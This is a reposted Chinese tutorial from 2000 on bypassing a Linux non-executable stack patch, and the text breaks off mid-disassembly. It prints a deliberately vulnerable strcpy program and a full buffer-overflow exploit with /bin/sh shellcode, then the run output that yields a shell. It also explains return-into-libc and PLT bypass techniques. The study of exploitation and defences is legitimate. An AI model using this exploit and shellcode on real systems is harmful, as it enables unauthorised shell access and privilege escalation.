很久以前的文章, 虽然很老但其中的技术却能让你学到很多东西,特别是底层方面的,我用
4天看完了,由衷感慨黑客的智慧。(我在RH 7.2下实验成功)
绕过Linux不可执行堆栈保护的方法浅析
by warning3 <warning3@hotmail.com>
http://www.isbase.com
2000/4/13
Intel 80386保护模式下提供了分段机制和分页机制,虚地址空间可以达16k个段,每个
段最大可以达到4G.基于i386的Linux系统尽可能的避开了分段机制,而主要利用了分页管
理机制。每个用户进程可以访问4GB的线性虚拟地址空间。其中,从0-3GB的虚拟内存空间
是用户空间,而从3G-4G的虚拟空间是内核态空间。而进程的代码段和数据段的虚拟空间是
地址是重叠的,起始地址都是0x00000000,段长度也一样。因此,攻击者利用缓冲区溢出覆
盖函数的返回地址后,将返回地址指向数据段中的某个地址,并事先在该地址中放置一些
代码(通常是用来执行一个shell程序,当然也可能是完成其他更复杂的一些操作),这样
,当函数返回时,就会跳到该地址去执行代码,由于数据段和代码段的地址是重叠的,因
此尽管这部分代码是在数据段,仍然可以被执行。如果要想防止缓冲区溢出,一个可能的
思路就是不让数据段可执行,尤其是堆栈段(当然还有其他的解决办法,如从编译器入手,
如Crispin Cowan等人开发的StackGuard,关于它的介绍可以参看绿盟月刊第6期中<< 缓冲
区溢出:十年来攻击和防卫的弱点>>一文)。Solar Designer提供的kernel security
patch中是通过减少代码段的长度,来区分堆栈段和代码段的,由于堆栈段的增长方向是从
高地址到低地址的,因此堆栈段和代码段地址范围通常是不会重叠的。这样可以有效的避
免在堆栈中安排溢出代码,并返回到堆栈中执行的攻击手段。
下面是一个典型的有缓冲区溢出漏洞的程序。它没有检查用户输入变量的长度,就贸然得
将输入变量拷贝到一个固定大小的缓冲区(8个字节)中。
/* ----> hole.c <----
* one vulnerable program for buffer overflowing .
* by warning3
*/
main(int argc, char **argv)
{
char buf[8];
if ( argc > 1 )
strcpy(buf,argv[1]);
}
[warning3@mytest non-exec]$ gcc -o hole hole.c -ggdb
下面是一个通常的攻击程序,用来对hole.c进行测试:
/*
* ----> ex1.c <----
* normal exploit for test buffer overflow with executable stack.
* by warning3
*/
#include
char shellcode[] = /* just aleph1's old shellcode (linux x86) */
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0"
"/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8"
"/x40/xcd/x80/xe8/xdc/xff/xff/xff/bin/sh";
long get_esp()
{
__asm__("movl %esp,%eax");
}
main()
{
int i;
long addr,offset=100,bufsize=512;
char *buf;
if((buf=(char *)malloc(bufsize))==NULL) {
fprintf(stderr,"no enough memory!/n");
exit(-1);
}
addr=get_esp()-offset;
printf("Using RET address: 0x%x/n",addr);
memset(buf,0x90,bufsize);
for(i=0;i<16;i+=4)
memcpy(buf+i,&addr,4);
memcpy(buf+bufsize-strlen(shellcode)-1,shellcode,strlen(shellcode));
*(buf+bufsize)='/0';
execl("./hole","hole",buf,0);
}
在没有执行不可执行堆栈patch前,用这个程序,我们可以攻击成功。
[warning3@mytest non-exec]$ gcc -o ex1 ex1.c
[warning3@mytest non-exec]$ ./ex1
Using RET address: 0xbffffc74
bash$
但是在用了不可执行堆栈patch的内核下,再用这个程序,攻击就被阻止了:
[root@mytest non-exec]# ./ex1
Using RET address: 0xbffffc74
Segmentation fault
[root@mytest non-exec]# tail -1 /var/log/messages
Apr 10 16:59:48 mytest kernel: Security: return onto stack running as UID 0, EUID 0, process hole:938
我们看到,kernel检测到了这种堆栈攻击,并成功的阻止了攻击的进行。
那么我们有什么办法来绕过这个patch呢?首先想到的是,只要返回地址不在堆栈里,这个
patch就失效了。既然通常我们的目的是执行一个shell (execl("/bin/sh","/bin/sh",0)
,那么我们为什么不利用现成的libc库中库函数system(),execl()等来做呢?在Solar
Designer早期写的patch版本中,这种办法是可行的。他甚至写了几个测试程序来验证这种
方法。用system()是最简单的方法,因为只需要提供一个参数"/bin/sh",通过在libc库中
搜索,可以得到system()函数的地址以及shell字符串地址,因此可以用这种返回libc库中
的办法来绕过这种堆栈保护。但后来Solar Designer改进了他的patch,将libc库中的库函
数的地址映射到代码段的低端,使每个库函数的地址中都以0x00开始,因为通常溢出都发
生在字符串拷贝中,所以这样攻击者就很难通过字符串来传递这个库函数地址以及后续参
数。
[warning3@mytest tmp]$ ps -auxw|grep hole|grep -v grep
warning3 1065 2.0 12.3 7236 5820 pts/0 S 18:04 0:00 gdb hole
warning3 1066 0.0 0.6 1064 292 pts/0 T 18:05 0:00 /home/warning3/non-exec/hole aa
[warning3@mytest tmp]$ cd /proc/1066
[warning3@mytest 1066]$ cat maps
00110000-00122000 r-xp 00000000 03:01 48143 /lib/ld-2.1.2.so
00122000-00123000 rw-p 00012000 03:01 48143 /lib/ld-2.1.2.so
00128000-00213000 r-xp 00000000 03:01 48150 /lib/libc-2.1.2.so
00213000-00217000 rw-p 000ea000 03:01 48150 /lib/libc-2.1.2.so
^
|
+---------我们可以看到,整个libc库都被映射到了内存空间的低端
00217000-0021b000 rw-p 00000000 00:00 0
08048000-08049000 r-xp 00000000 03:05 47207 /home/warning3/non-exec/hole
08049000-0804a000 rw-p 00000000 03:05 47207 /home/warning3/non-exec/hole
bfffe000-c0000000 rwxp fffff000 00:00 0
其实,我们根本不必直接使用libc库的地址,Rafal Wojtczuk找到了一种非常聪明的方法
来绕过这种限制: 利用PLT(过程链接表)。
当使用动态链接库的ELF格式的文件时,程序使用的共享库中的过程函数在过程链接表中会
有一个表项,用来将控制传输到全局偏移表中的相应地址中去。如果LD_BIND_NOW变量没有
设置(也就是工作在lazy模式),那么在控制到达程序之前,动态链接器不会将真实的库
函数的地址储存在全局偏移表中,而是代以一个"相对"地址。我们来看一下实际的例子:
[warning3@mytest non-exec]$ gdb hole
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disass main
Dump of assembler code for function main:
0x80483c8 : push %ebp
0x80483c9 : mov %esp,%ebp
0x80483cb : sub $0x8,%esp
0x80483ce : cmpl $0x1,0x8(%ebp)
0x80483d2 : jle 0x80483e9
0x8